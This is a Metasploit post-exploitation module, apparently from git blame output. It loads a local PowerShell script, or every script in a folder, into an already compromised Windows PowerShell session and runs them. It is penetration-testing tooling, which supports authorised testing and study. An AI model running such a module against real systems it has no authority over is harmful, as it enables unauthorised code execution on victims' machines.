2015-05-19 14:06:41 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-05-19 14:06:41 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2015-05-19 14:06:41 +01:00
|
|
|
include Msf::Post::Windows::Powershell
|
|
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Load Scripts Into PowerShell Session',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module will download and execute one or more PowerShell scripts
|
|
|
|
|
over a present powershell session.
|
|
|
|
|
Setting VERBOSE to true will show the stager results.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => ['win'],
|
|
|
|
|
'SessionTypes' => ['powershell'],
|
|
|
|
|
'Author' => [
|
2015-05-19 16:06:44 +01:00
|
|
|
'Ben Turner benpturner[at]yahoo.com',
|
|
|
|
|
'Dave Hardy davehardy20[at]gmail.com'
|
2015-05-19 14:06:41 +01:00
|
|
|
]
|
2023-02-08 13:47:34 +00:00
|
|
|
)
|
|
|
|
|
)
|
2015-05-19 14:06:41 +01:00
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2023-02-08 13:47:34 +00:00
|
|
|
OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
|
|
|
|
|
OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])
|
|
|
|
|
]
|
|
|
|
|
)
|
2015-05-19 14:06:41 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
2015-05-25 15:48:27 +01:00
|
|
|
if datastore['SCRIPT']
|
2015-05-29 03:42:25 -04:00
|
|
|
stage_psh_env(datastore['SCRIPT'])
|
2015-05-25 15:48:27 +01:00
|
|
|
end
|
|
|
|
|
if datastore['FOLDER']
|
|
|
|
|
files = ::Dir.entries(datastore['FOLDER'])
|
2023-02-08 13:47:34 +00:00
|
|
|
files.reject! { |u| %w[. ..].include?(u) }
|
|
|
|
|
files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }
|
2015-05-19 15:47:30 +01:00
|
|
|
end
|
2015-05-19 14:06:41 +01:00
|
|
|
end
|
2015-05-19 15:47:30 +01:00
|
|
|
end
|